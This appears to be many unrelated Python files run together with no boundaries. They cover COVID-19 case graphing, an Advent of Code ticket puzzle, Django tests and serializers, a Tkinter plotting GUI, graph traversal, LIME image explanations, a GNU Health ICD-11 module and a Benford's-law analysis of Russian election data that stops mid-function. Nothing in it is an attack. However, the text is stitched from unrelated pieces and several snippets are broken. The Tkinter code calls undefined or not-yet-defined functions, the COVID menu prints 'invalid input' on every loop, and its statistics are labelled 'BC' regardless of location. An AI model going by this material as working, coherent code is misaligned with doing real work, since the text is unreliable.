import COVID19Py
import matplotlib.pyplot as plt
from sys import exit

def Graph(x, y, title):
  #darktheme cuz my eyes burn
  plt.style.use('dark_background')

  plt.plot(x,y)

  plt.xlabel('Timeline')

  '''#Label y-axis
  plt.ylabel('Confirmed Cases')'''

  plt.title(title)

  plt.show()

def subtract_backwards(lst):
  per_day = []
  isPrevious = False
  previous = None
  lst.reverse()

  for num in lst:
    if isPrevious == False:
      previous = num
      isPrevious = True
      continue
    else:
      #print(f'Current number: {num}, Previous number: {previous}')
      per_day.append(previous-num)
      previous = num
  per_day.reverse()
  return per_day

class Covid19Info:
  def __init__(self, loc):
    self.covid19 = COVID19Py.COVID19(data_source="jhu")
    #jhu = John Hopkins University (source)

    if loc.isdigit():
      self.location = self.covid19.getLocationById(loc)
      self.timelines = self.location.get('timelines')
      self.province = self.location.get('province')
      self.country = self.location.get('country')
    else:
      self.location = self.covid19.getLocationByCountryCode(loc, timelines=True)
      for location in self.location:
        self.province = location.get('province')
        self.country = location.get('country')
        self.timelines = location.get('timelines')

    if self.province == '':
      self.province = self.country

    self.run()

  def Cases(self):
    confirmed = self.timelines.get('confirmed')
    timeline = confirmed.get('timeline')

    case = [case for case in timeline.values()]

    week = int(input('What would you like to graph?\n1.Past Week\n2.Full Timeline\n'))
    if week == 1:
      time = [time[5:10] for time in timeline.keys()]
      time = time[len(time)-7:len(time)]
      print(time)
      case = case[len(case)-8:len(case)]
      cases_per_day = subtract_backwards(case)
      print(case)

      print(cases_per_day)
      Graph(time, cases_per_day, f'Confirmed COVID-19 Cases in {self.province} Past 7 days')

    elif week == 2:
        time = [time[0:10] for time in timeline.keys()]
        Graph(time, case, f'Total COVID-19 Cases in {self.province}')

  def Death(self):
    deaths = self.timelines.get('deaths')
    timeline = deaths.get('timeline')

    time = [time[0:10] for time in timeline.keys()]
    case = [case for case in timeline.values()]
    Graph(time, case, f'COVID-19 Deaths in {self.province}')

  def Data(self):
    latest_confirmed = self.location['latest'].get('confirmed')
    latest_deaths = self.location['latest'].get('deaths')

    print(f'LATEST COVID-19 STATISTICS in {self.country}\n')
    print(f'Confirmed COVID19 cases in BC: {latest_confirmed}')
    print(f'Deaths from COVID19 in BC: {latest_deaths}\n')

  def Exit(self):
    exit()

  def run(self):
    while True:
    #   try:
        num = int(input('What information would you like to access?\n1.Graph Confirmed Cases\n2.Graph Deaths\n3.Latest Data\n4.Exit\n'))
        action = {1:self.Cases, 2:self.Death, 3:self.Data, 4:self.Exit}
        action[num]()
    #   except (TypeError, ValueError, KeyError):
        print('invalid input')

#Where program starts
def run():
  covid19 = COVID19Py.COVID19(data_source="jhu")

  #get all locations
  locations = covid19.getLocations(timelines=False)
  while True:
    user_location = input('Enter "locations" to view all the locations\nEnter country code, ID or province: ')

    for location in locations:
      country = location.get('country')
      code = location.get('country_code')
      ID = location.get('id')
      province = location.get('province')

      if user_location == country:
        print('country success')
        Covid19Info(user_location)

      elif user_location ==  code:
        print('country code success')
        Covid19Info(user_location)

      elif user_location == str(ID):
        print('country id success')
        Covid19Info(user_location)

      elif user_location == province:
        print('pronvince success')
        Covid19Info(str(location.get('id')))

      elif user_location == 'locations':
        print(f'ID: {ID} Country: {country} Country Code: {code}')
    else:
      print('Error 404')

run()

''' FORMAT
{
  "location": {
    "id": 39,
    "country": "Norway",
    "country_code": "NO",
    "country_population": 5009150,
    "province": "",
    "county": "",
    "last_updated": "2020-03-21T06:59:11.315422Z",
    "coordinates": { },
    "latest": { },
    "timelines": {
      "confirmed": {
        "latest": 1463,
        "timeline": {
          "2020-03-16T00:00:00Z": 1333,
          "2020-03-17T00:00:00Z": 1463
        }
      },
      "deaths": { },
      "recovered": { }
    }
  }
}
'''


from collections import defaultdict
from math import prod

TEST_DATA = """class: 1-3 or 5-7
row: 6-11 or 33-44
seat: 13-40 or 45-50

your ticket:
7,1,14

nearby tickets:
7,3,47
40,4,50
55,2,20
38,6,12"""

TEST_DATA_TWO = """class: 0-1 or 4-19
row: 0-5 or 8-19
seat: 0-13 or 16-19

your ticket:
11,12,13

nearby tickets:
3,9,18
15,1,5
5,14,9"""

def load(fname):
    with open(fname) as fh:
        lines = fh.read()
    lines = [l for l in lines.split("\n")]
    return lines

def parse(lines, last_rule_line=20, first_ticket_line=25):
    # parse rules
    rules = {}
    for l in lines[:last_rule_line]:
        key, ranges = l.split(":")
        ranges = [r.strip() for r in ranges.split("or")]
        ranges = [list(map(int, r.split("-"))) for r in ranges]
        rules[key] = ranges

    # parse tickes
    nearby_tickes = [list(map(int, l.split(","))) for l in lines[first_ticket_line:]]

    return rules, nearby_tickes

def is_valid_number_given_ranges(ranges, number):
    return any([(minimum <= number <= maximum) for minimum, maximum in ranges])

def is_valid_number(rules, number):
    for ranges in rules.values():
        if is_valid_number_given_ranges(ranges, number):
            return True
    return False

def is_valid_ticket(rules, ticket):
    return all([is_valid_number(rules, number) for number in ticket])

def part_one(rules, nearby_tickets):
    invalid_numbers = []
    for ticket in nearby_tickets:
        invalid_numbers.extend([n for n in ticket if not is_valid_number(rules, n)])
    return invalid_numbers

def determine_field(rules, tickets):
    possible_fields = defaultdict(list)
    for idx in range(len(nearby_tickets[0])):
        field_numbers = [ticket[idx] for ticket in nearby_tickets]
        for key, ranges in rules.items():
            if all(
                [
                    is_valid_number_given_ranges(ranges, number)
                    for number in field_numbers
                ]
            ):
                possible_fields[key].append(idx)

    fields = {}
    for key, indexes in sorted(possible_fields.items(), key=lambda x: len(x[1])):
        for idx in indexes:
            if idx not in fields.values():
                fields[key] = idx
    return fields

def part_two(rules, nearby_tickets):
    valid_tickets = [
        ticket for ticket in nearby_tickets if is_valid_ticket(rules, ticket)
    ]
    fields = determine_field(rules, valid_tickets)
    return fields

if __name__ == "__main__":
    rules, nearby_tickets = parse(
        TEST_DATA.split("\n"), last_rule_line=3, first_ticket_line=8
    )
    assert sum(part_one(rules, nearby_tickets)) == 71
    assert [ticket for ticket in nearby_tickets if is_valid_ticket(rules, ticket)] == [
        [7, 3, 47]
    ]

    rules, nearby_tickets = parse(
        TEST_DATA_TWO.split("\n"), last_rule_line=3, first_ticket_line=8
    )
    assert part_two(rules, nearby_tickets) == {"seat": 2, "class": 1, "row": 0}

    rules, nearby_tickets = parse(load("input.txt"))
    assert sum(part_one(rules, nearby_tickets)) == 22073

    print(part_two(rules, nearby_tickets))


#!/usr/bin/env python
# encoding: utf-8
'''
@File  : rename.py
@Date  : 2021/11/15 21:38
@Author: Cxs
@Email: Cxs1103@163.com
@Desc  :
'''

import os

os.chdir(r'./datas')
# print(os.listdir())
old_names = os.listdir(os.getcwd())
new_names = list(map(lambda x: x.replace('.txt', '.png'), old_names))

for old_name, new_name in zip(old_names, new_names):
    os.renames(old_name, new_name)
print('文件格式已经修改。。。。')


from rest_framework import serializers
from ..models.ExperimentData import ExperimentData

class ExperimentDataSerializer(serializers.ModelSerializer):
    data = serializers.JSONField(binary=True)

    class Meta:
        model = ExperimentData
        fields = ('id','experiment_file', 'parsing_datetime', 'parsing_method', 'data')


# chapter7_confirmed_users
# first, create a list of unconfirmed users
# and an empty list to store confirmed users
unconfirmed_users = ['alice','brian','candace']
confirmed_users = []

# verify every unconfirmed user, until the list of unconfirmed users is empty
while unconfirmed_users:
    verifying_user = unconfirmed_users.pop()
    print("Verifying "+verifying_user+"...")
    confirmed_users.append(verifying_user)

# display the verified users
print("\nThe following users have been verified:")
for confirmed_user in confirmed_users:
    print(confirmed_user)


class Library :

    def __init__(self, listOfBooks):
        self.books = listOfBooks

    def displayAvailableBooks(self):
        print("BOOKS PRESENT IN THIS LIBRARY ARE : ")
        for books in self.books:
            print("  -",books)

    def borrowBook(self, bookName):
        if bookName in self.books:
            print(f"YOU HAVE BEEN ISSUED THE BOOK '{bookName}'. PLEASE RETURN IT WITHIN 30 DAYS")
            self.books.remove(bookName)
            return True
        else:
            print(f"THE BOOK '{bookName}' IS EITHER NOT AVAILABLE OR HAS ALREADY BEEN ISSUED TO A STUDENT. PLZ WAIT UNTIL THE BOOK IS AVAILABLE")
            return False

    def returnBook(self, bookName):
        self.books.append(bookName)
        print("THANKS FOR RETURNING THE BOOK. HOPE YOU ENJOYED READING IT!")

class Students:
    def requestBook(self):
        self.books = input("ENTER THE NAME OF THE BOOK YOU WANT TO BORROW : ")
        return self.books

    def returnBook(self):
        self.books = input("ENTER THE NAME OF THE BOOK YOU WANT TO RETURN : ")
        return self.books

if __name__ == "__main__":
    centralLibrary = Library(["Algorithm", "Django", "Clrs", "Python Notes"])
    student = Students()
    while(True):
        welcomeMsg = '''\n
        =====WELCOME TO CENTRAL LIBRARY=====
        PLAESE CHOOSE FROM THE FOLLOWING OPTIONS:
        1. LISTING ALL THE BOOKS
        2. REQUEST A BOOK
        3. RETURN/DONATE A BOOK
        4. EXIT THE LIBRARY
        '''
        print(str(welcomeMsg))
        a = int(input("ENTER A CHOICE : "))
        if a == 1:
            centralLibrary.displayAvailableBooks()
        elif a == 2:
            centralLibrary.borrowBook(student.requestBook())
        elif a == 3:
            centralLibrary.returnBook(student.returnBook())
        elif a == 4:
            print("THANKS FOR CHOOSING CENTRAL LIBRARY. HAVE A GREAT DAY!")
            exit()

        else:
            print("INVALID CHOICE")


import base64
import re
from cryptography.fernet import Fernet

from unittest.mock import patch

from celery.exceptions import Retry
from celery.contrib.testing.worker import start_worker
import django.test
from django.core.cache import cache
from django.contrib.auth.models import User
from django.test import TestCase
from rest_framework.test import APISimpleTestCase

from demo.celery import app

from api.utils import create_access_token, auth_header
from api.models import ActivityLog
from ugc.models import Comment, Journal
from ugc.tasks import create_comment

class CreateCommentTaskTestCase(TestCase):
    def setUp(self):
        super().setUp()
        cache.clear()

    def test_creates_object(self):
        self.assertEqual(Comment.objects.count(), 0)
        user_id = User.objects.first().id
        cache_key = '{}/comment_created'.format(user_id)

        self.assertFalse(cache.has_key(cache_key))
        create_comment(user_id, 'example')
        comment = Comment.objects.first()
        self.assertEqual(comment.text, 'example')
        self.assertEqual(cache.get(cache_key), comment.id)

    @patch('ugc.tasks.create_comment.retry')
    def test_retry(self, create_comment_retry):
        user_id = User.objects.first().id
        create_comment(user_id, 'example')
        create_comment_retry.side_effect = Retry()
        with self.assertRaises(Retry):
            create_comment(user_id, 'example')

class JournalTestCase(TestCase):
    def setUp(self):
        self.user = User.objects.create(
            username='user', email='user@localhost'
        )
        self.auth_user = auth_header(create_access_token(self.user))

        self.other_user = User.objects.create(
            username='other_user', email='other_user@localhost'
        )
        self.auth_other_user = auth_header(create_access_token(self.other_user))
        Journal.objects.create(
            created_by=self.other_user, encrypted_text='hello-world'
        )

    def test_retrieve(self):
        journal = Journal.objects.create(
            created_by=self.user, encrypted_text='plaintext'
        )
        response = self.client.get(
            '/api/v1/journal/{}/'.format(journal.id),
            **self.auth_user
        )
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.json(), {
            'id': journal.id,
            'created_by': self.user.id,
            'encrypted_text': 'plaintext',
        })

    def test_list(self):
        journal = Journal.objects.create(
            created_by=self.user, encrypted_text='plaintext'
        )
        response = self.client.get('/api/v1/journal/', **self.auth_user)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(
            response.json(),
            [{
                'id': journal.id,
                'created_by': self.user.id,
                'encrypted_text': 'plaintext',
            }]
        )


# Chat GPT example to use Matplotlib

import tkinter as tk
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
from matplotlib.figure import Figure
import numpy as np

# Create a Tkinter window
root = tk.Tk()
root.title("My Plot")

# Create a frame to hold the plot
frame = tk.Frame(root)
frame.pack()

# Chat GPT for menubars

menu_bar = tk.Menu(root)
file_menu = tk.Menu(menu_bar, tearoff=0)
file_menu.add_command(label="Open", command=open_file)
file_menu.add_command(label="Save", command=save_file)
menu_bar.add_cascade(label="File", menu=file_menu)
root.config(menu=menu_bar)

# and for editing data structure dialogs

def open_file():
    file_name = tk.filedialog.askopenfilename()
    # Code to open the file and display it in the GUI

def edit_data():
    dialog = tk.Toplevel(root)
    dialog.title("Edit Data")
    dialog.geometry("300x200")

    label = tk.Label(dialog, text="Enter new value:")
    label.pack()

    entry = tk.Entry(dialog)
    entry.pack()

    button = tk.Button(dialog, text="OK", command=lambda: save_data(entry.get()))
    button.pack()

def save_data(new_value):
    # Code to save the new value to the data structure
    pass

# Create a Matplotlib figure and add an Axes object
fig = Figure(figsize=(5, 4), dpi=100)
ax = fig.add_subplot(111)

# Generate some data and plot it on the Axes
x = np.linspace(0, 10, 100)
y = np.sin(x)
ax.plot(x, y)

# Create a Matplotlib canvas and add it to the frame
canvas = FigureCanvasTkAgg(fig, master=frame)
canvas.draw()
canvas.get_tk_widget().pack()

# Run the GUI
root.mainloop()

# From Stackoverflow
class App(tk.Tk):

    def __init__(self):
        tk.Tk.__init__(self)
        menubar = tk.Menu(self)
        fileMenu = tk.Menu(menubar, tearoff=False)
        menubar.add_cascade(label="File", underline=0, menu=fileMenu)
        fileMenu.add_command(label="Exit", underline=1,
                             command=quit, accelerator="Ctrl+Q")
        self.config(menu=menubar)

        self.bind_all("<Control-q>", self.quit)

    def quit(self, event):
        print("quitting...")
        sys.exit(0)

if __name__ == "__main__":
    app = App()
    app.mainloop()


from crash.callstack import CallStack
from crash.stacktrace import Stacktrace

from testing_utils import testing

class StacktraceTest(testing.AppengineTestCase):

  def testGetCrashStack(self):
    stack_trace = Stacktrace()
    self.assertEqual(stack_trace.GetCrashStack(), None)

    callstack_list = [CallStack(0), CallStack(1)]
    stack_trace.extend(callstack_list)

    self.assertEqual(stack_trace.GetCrashStack(), callstack_list[0])


"""
File: testGraph.py

Abid Jeem

"""

from modules.graph.graph import LinkedDirectedGraph
from modules.graph.pathEntry import PathEntry
from modules.stack.linkedStack import LinkedStack
from modules.queue.linkedQueue import LinkedQueue
from modules.utils.grid import Grid
from modules.utils.arrays import Array
from modules.math.infinity import *

#showProcess: boolean is just a parameter to show you the movement
def traverseFromVertex(graph, startVertex, showProcess, collection = LinkedStack()):
    # Exercise
    graph.clearVertexMarks()
    collection.add(startVertex)
    while collection:
        vertex= collection.pop()
        if not vertex.isMarked():
            vertex.setMark()
            if showProcess:
                print(vertex)
            #go over each connection it is connecting to
            for node in vertex.neighboringVertices():
                #check if neighbouring vertices are marked or not before adding
                if not node.isMarked():
                    collection.add(node)

def depthFirstTraverse(graph, startVertex, showProcess):
    # Exercise
    traverseFromVertex(graph, startVertex, showProcess)

def breadthFirstTraverse(graph, startVertex, showProcess):
    # Exercise
    traverseFromVertex(graph, startVertex, showProcess, LinkedQueue())

def main():

    # Create a directed graph using an adjacency list
    graph = LinkedDirectedGraph()

    # Exercise: Add vertices with appropriate labels and print the graph
    for label in ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J"]:
        graph.addVertex(label)

    print("\nThe graph: \n" + str(graph))

    # Exercise: Insert edges with weights and print the graph
    graph.addEdge("A","I",8)
    graph.addEdge("A","J",1)
    graph.addEdge("A","B",3)
    graph.addEdge("J","B",1)
    graph.addEdge("J","H",6)
    graph.addEdge("H","B",2)
    graph.addEdge("H","E",1)
    graph.addEdge("B","C",2)
    graph.addEdge("C","E",4)
    graph.addEdge("C","G",2)
    graph.addEdge("G","D",1)
    graph.addEdge("G","F",1)
    graph.addEdge("D","I",1)

    print("\nThe graph: \n" + str(graph))

    # Print the vertices adjacent to vertex A
    print("\nExpect vertices adjacent to A:")
    print(", ".join(list(map(str,graph.getVertex("A").neighboringVertices()))))

    # Print the edges incident to A
    print("Expect edges incident to A:")
    print(", ".join(list(map(str,graph.getVertex("A").incidentEdges()))))

    # Exercise
    print("\nTraverse from vertex A:")
    traverseFromVertex(graph, graph.getVertex("A"), True)

    # Exercise
    print("\nDepth first traversal:")
    depthFirstTraverse(graph, graph.getVertex("A"), True)

    # Exercise
    print("\nBreadth first traversal:")
    breadthFirstTraverse(graph, graph.getVertex("A"), True)

if __name__ == '__main__':
    main()


import os
import pprint
import jsonref
from pathlib import Path
import tensorflow as tf
import numpy as np
import cv2
import pandas as pd
import matplotlib.pyplot as plt
from lime import lime_image
from skimage.segmentation import mark_boundaries

from logs import logDecorator as lD

# ----------------------------------

config = jsonref.load(open("../config/config.json"))
logBase = config["logging"]["logBase"] + ".modules.lime.lime"
config_lime = jsonref.load(open("../config/modules/lime.json"))

@lD.log(logBase + ".loadModel")
def loadModel(logger, model_dir):

    """
    This function loads the already-trained classification model that we want
    to use for executing Grad-CAM.

    Parameters
    ----------
    model_dir : {path}
        The path of the folder where the already-trained TensorFlow SavedModel
        is saved.

    Returns
    -------
    model : {Keras model instance}
        The loaded already-trained TensorFlow SavedModel.
    """

    try:
        model = tf.keras.models.load_model(filepath=model_dir)

    except Exception as e:
        # logger.error(f'Unable to loadModel!\n{e}')
        print((f"Unable to loadModel!\n{e}"))

    return model

@lD.log(logBase + ".gradModel")
def lime(logger, img, model, num_samples, num_features, random_seed):

    """
    bla bla bla

    Parameters
    ----------
    img : {numpy.ndarray}
        A single image that is a numpy array in the shape of ()
    model : {Keras model instance}
        The loaded already-trained TensorFlow SavedModel, as returned by the
        function `loadModel()`.
    num_samples : {int}
        The size of the neighborhood to learn the linear model
    num_features : {int}
        The number of superpixels to include in explanation.

    Returns
    -------
    temp_img : {numpy.ndarray}
        3D numpy array of `img`'s explanation.
    mask : {numpy.ndarray}
        2D numpy array that can be used with skimage.segmentation.mark_boundaries.
    """

    try:

        # Instantiate explainer.
        explainer = lime_image.LimeImageExplainer()

        # Perform lime.
        explanation = explainer.explain_instance(
            img,
            classifier_fn=model.predict,
            top_labels=1,
            hide_color=0,
            num_samples=num_samples,
            random_seed=random_seed,
        )
        temp_img, mask = explanation.get_image_and_mask(
            label=0, positive_only=True, hide_rest=True, num_features=num_features
        )

    except Exception as e:
        # logger.error(f'Unable to lime!\n{e}')
        print((f"Unable to lime!\n{e}"))

    return temp_img, mask

# ----------------------------------

@lD.log(logBase + ".main")
def main(logger, resultsDict):
    """main function for lime module.

    bla bla bla

    Parameters
    ----------
    logger : {logging.Logger}
        The logger used for logging error information
    resultsDict: {dict}
        A dictionary containing information about the
        command line arguments. These can be used for
        overwriting command line arguments as needed.
    """

    print("=" * 30)
    print("Main function of lime module.")
    print("=" * 30)
    print("We get a copy of the result dictionary over here ...")
    pprint.pprint(resultsDict)

    # Load parameters.
    model_dir = Path(config_lime["model_dir"])
    img_folder = Path(config_lime["img_folder"])
    img_width = config_lime["img_width"]
    img_height = config_lime["img_height"]
    seed = config_lime["seed"]
    num_samples = config_lime["num_samples"]
    num_features = config_lime["num_features"]
    to_lime_csv = Path(config_lime["to_lime_csv"])
    saveto_folder = Path(config_lime["saveto_folder"])

    # ============
    #  Load model
    # ============
    model = loadModel(model_dir=model_dir)

    # =====================
    #  Loop and apply LIME
    # =====================

    # Load .csv that contains filenames of images to do Grad-CAM on.
    to_lime_df = pd.read_csv(to_lime_csv, header=0)

    for row in to_lime_df.itertuples():
        # ------------
        #  Load image
        # ------------
        img_filename = row.filename
        img_path = os.path.join(img_folder, img_filename)

        # Set dsize = (img width, img height).
        dsize = (img_width, img_height)

        # Load image.
        img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
        img = cv2.resize(src=img, dsize=dsize)

        # Min max normalise to [0, 1].
        img = (img - img.min()) / (img.max() - img.min() + 1.0e-10)

        # Stack grayscale image to make channels=3.
        img = np.stack([img, img, img], axis=-1)

        # Make img shape into (1, img_width, img_height, 3).
        img = img[np.newaxis, :]

        # ---------
        #  Do LIME
        # ---------
        temp_img_list = []
        mask_list = []

        for n in num_features:
            temp_img, mask = lime(
                img=img[0],
                model=model,
                num_samples=num_samples,
                num_features=n,
                random_seed=seed,
            )
            temp_img_list.append(temp_img)
            mask_list.append(mask)

        # --------------------
        #  Plot and save LIME
        # --------------------
        n = len(temp_img_list)

        fig, ax = plt.subplots(nrows=1, ncols=n + 1, figsize=(n * 5, 8))

        # Plot original image.
        ax[0].imshow(img[0], cmap="gray")
        ax[0].set_title(f"{img_filename}\nProba: {row.predicted_proba}")
        ax[0].get_xaxis().set_visible(False)
        ax[0].get_yaxis().set_visible(False)

        # Plot LIME outputs.
        for i, ax in enumerate(fig.axes):
            if i == 0:
                continue  # To skip plotting on ax[0].
            else:
                ax.imshow(mark_boundaries(temp_img_list[i - 1], mask_list[i - 1]))
                ax.set_title(f"LIME with top {num_features[i - 1]} superpixels")
                ax.get_xaxis().set_visible(False)
                ax.get_yaxis().set_visible(False)

        plt.tight_layout()

        lime_filename = img_filename.replace("___PRE.png", "___LIME.png")
        fname = os.path.join(saveto_folder, lime_filename)
        plt.savefig(fname=fname, dpi=300)

    print()
    print("Getting out of lime module.")
    print("-" * 30)

    return


import os
import requests
from trytond.pool import Pool
from trytond.model import ModelView, ModelSQL, fields
from datetime import datetime
from trytond.config import config
from .queryicd11 import query_icd11

def get_icd_url():
    try:
        icd_uri = config.get('icd', 'api_uri')
    except:
        icd_uri = ''

    if icd_uri:
        return icd_uri
    return os.environ.get('ICD_CONTAINER_URL', 'http://localhost:7654')

def get_coding_tool_url():
    try:
        icd_uri = config.get('icd', 'coding_tool_uri')
    except:
        icd_uri = '{}/ct11/icd11_mms/en/release'.format(get_icd_url())
    return icd_uri

class CaseAbstract(ModelSQL, ModelView):
    'Medical Record Case Abstract'
    __name__ = 'mrca.mrca'

    icd10 = fields.Many2One('gnuhealth.pathology', 'ICD 10',
        domain=[
            'OR',
            ('classifier', '=', 'ICD10'),
            ('classifier', '=', None)
        ] ,select=True)

    patient = fields.Many2One('gnuhealth.inpatient.registration', 'Patient', domain=[('state', '=', 'done')], required=True, select=True)

    icd11 = fields.Char('Main Condition Code')
    icd11_description = fields.Function(
        fields.Text('Main Condition Interpretation'), 'get_icd11_information')

    icd11_other = fields.Text('Other Conditions')
    icd11_other_description = fields.Function(
        fields.Text('Other Conditions - Interpretation'), 'get_icd11_other_conditions')

    coding_tool = fields.Function(
        fields.Char('Coding Tool'), 'get_coding_tool_url')

    icd10_other = fields.Many2Many('mrca.mrca_patient.abstract', 'code', 'code','Other Conditions (ICD 10)')
    icd10_procedures = fields.Many2Many('mrca.mrca_patient.abstract', 'description', 'description','Procedures (ICD 10)')

    new_diag = fields.Boolean('Newly Diagnosed', select=True)
    re_admiss = fields.Boolean('Re-Admission', select=True)

    def get_coding_tool_url(self, ids=None, name=None):
        return get_coding_tool_url()

    @classmethod
    def default_coding_tool(cls):
        return get_coding_tool_url()

    def get_icd_url(self, name=None):
        return get_icd_url()

    def get_icd11_information(self, name):
        if not self.icd11:
            return ''
        return self.build_condition_str(self.icd11)

    def get_icd11_other_conditions(self, name):
        if not self.icd11_other:
            return ''
        codes = self.icd11_other.split('\n')
        descriptions = []
        for code in codes:
            desc = self.build_condition_str(code)
            if not desc or desc in descriptions:
                continue
            title = 'Interpretation for {}'.format(code)
            sep = '-' * (len(title) * 2)
            descriptions.append(
                '{}\n{}\n{}'.format(title, sep, desc)
            )
        return '\n\n'.join(descriptions)

    def build_condition_str(self, code):
        host = self.get_icd_url()
        try:
            output = query_icd11(code, host=host)
        except requests.exceptions.ConnectionError as e:
            print("Except as e: {}".format(e))
            return 'Error: Cannot connect to the disease database container.'
        except Exception as e:
            print("Except as e: {}".format(e))
            return ''
        descriptions = []
        for item in output:
            descriptions.append('- {} - {}'.format(item['code'], item['description']))
        return '\n'.join(descriptions)

    @classmethod
    def __setup__(cls):
	    super(CaseAbstract, cls).__setup__()

class PatientAbstract(ModelSQL, ModelView):
    'Pathology-Icpm'
    __name__ = 'mrca.mrca_patient.abstract'

    code = fields.Many2One('gnuhealth.pathology', 'ICD10')
    description = fields.Many2One('gnuhealth.procedure', 'Description')

    @classmethod
    def __setup__(cls):
        super(PatientAbstract, cls).__setup__()


from apps import constants as cst
from app import app
import dash_html_components as html
import dash_bootstrap_components as dbc
import dash_core_components as dcc
import change_base as cb
import numpy as np
import pandas as pd
import plotly.express as px
from dash.dependencies import Input, Output
import json
import pathlib
from flask_caching import Cache
import scipy.stats

cache = Cache(
    app.server,
    config={
        "CACHE_TYPE": "SimpleCache",
    },
)
TIMEOUT = 0  # infinity
PATH = pathlib.Path(__file__).parent
DATA_PATH = PATH.joinpath("../static").resolve()

with open(DATA_PATH.joinpath("voting_data_eng.json")) as json_file:
    election_ru_data = json.load(json_file)

def custom_legend(fig, nameSwap):
    for i, dat in enumerate(fig.data):
        for elem in dat:
            if i >= len(nameSwap):
                return fig
            if elem == "name":
                fig.data[i].name = nameSwap[fig.data[i].name]
    return fig

# @cache.memoize(timeout=TIMEOUT)
def election_ru_fig(election_ru_data, base, theme):
    global df3
    if base != 10:
        df3 = pd.DataFrame(
            dict(
                votes_fd_Putin_Vladimir_Vladimirovich=np.zeros(base - 1),
                votes_fd_Baburin_Sergei_Nikolaevich=np.zeros(base - 1),
                votes_fd_Grudinin_Pavel_Nikolaevich=np.zeros(base - 1),
                votes_fd_Zhirinovskiy_Vladimir_Volfovich=np.zeros(base - 1),
                votes_fd_Sobchak_Ksenia_Anatolyevna=np.zeros(base - 1),
                votes_fd_Suraikin_Maksim_Aleksandrovich=np.zeros(base - 1),
                votes_fd_Titov_Boris_Yurievich=np.zeros(base - 1),
                votes_fd_Yavlinskiy_Gregory_Alekseivich=np.zeros(base - 1),
                x_graphic=[
                    "Cifra " + str(i) if i < 10 else "Cifra " + chr(ord("a") + i - 10)
                    for i in range(1, base)
                ],
                benford=[np.log10(1 + 1 / i) * 100 for i in range(1, base)],
            )
        )
        votes_fd_Putin_Vladimir_Vladimirovich = np.zeros(base - 1)
        votes_fd_Baburin_Sergei_Nikolaevich = np.zeros(base - 1)
        votes_fd_Grudinin_Pavel_Nikolaevich = np.zeros(base - 1)
        votes_fd_Zhirinovskiy_Vladimir_Volfovich = np.zeros(base - 1)
        votes_fd_Sobchak_Ksenia_Anatolyevna = np.zeros(base - 1)
        votes_fd_Suraikin_Maksim_Aleksandrovich = np.zeros(base - 1)
        votes_fd_Titov_Boris_Yurievich = np.zeros(base - 1)
        votes_fd_Yavlinskiy_Gregory_Alekseivich = np.zeros(base - 1)
        for location in election_ru_data:
            votes = cb.decimal_to_base(
                int(location["Putin Vladimir Vladimirovich"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Putin_Vladimir_Vladimirovich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Putin_Vladimir_Vladimirovich[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(
                int(location["Baburin Sergei Nikolaevich"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Baburin_Sergei_Nikolaevich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Baburin_Sergei_Nikolaevich[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(
                int(location["Grudinin Pavel Nikolaevich"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Grudinin_Pavel_Nikolaevich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Grudinin_Pavel_Nikolaevich[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(
                int(location["Zhirinovskiy Vladimir Volfovich"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Zhirinovskiy_Vladimir_Volfovich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Zhirinovskiy_Vladimir_Volfovich[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(
                int(location["Sobchak Ksenia Anatolyevna"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Sobchak_Ksenia_Anatolyevna[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Sobchak_Ksenia_Anatolyevna[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(
                int(location["Suraikin Maksim Aleksandrovich"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Suraikin_Maksim_Aleksandrovich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Suraikin_Maksim_Aleksandrovich[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(int(location["Titov Boris Yurievich"]), base)
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Titov_Boris_Yurievich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Titov_Boris_Yurievich[int(votes[0]) - 1] += 1

            votes = cb.decimal_to_base(
                int(location["Yavlinskiy Gregory Alekseivich"]), base
            )
            if votes != "":
                if ord(votes[0]) >= ord("a"):
                    votes_fd_Yavlinskiy_Gregory_Alekseivich[
                        int(ord(votes[0]) - ord("a") + 9)
                    ] += 1
                else:
                    votes_fd_Yavlinskiy_Gregory_Alekseivich[int(votes[0]) - 1] += 1

        sum_votes = np.sum(votes_fd_Putin_Vladimir_Vladimirovich)
        votes_fd_Putin_Vladimir_Vladimirovich = (
            votes_fd_Putin_Vladimir_Vladimirovich / sum_votes
        ) * 100
        df3[
            "votes_fd_Putin_Vladimir_Vladimirovich"
        ] = votes_fd_Putin_Vladimir_Vladimirovich

        sum_votes = np.sum(votes_fd_Baburin_Sergei_Nikolaevich)
        votes_fd_Baburin_Sergei_Nikolaevich = (
            votes_fd_Baburin_Sergei_Nikolaevich / sum_votes
        ) * 100
        df3["votes_fd_Baburin_Sergei_Nikolaevich"] = votes_fd_Baburin_Sergei_Nikolaevich

        sum_votes = np.sum(votes_fd_Grudinin_Pavel_Nikolaevich)
        votes_fd_Grudinin_Pavel_Nikolaevich = (
            votes_fd_Grudinin_Pavel_Nikolaevich / sum_votes
        ) * 100
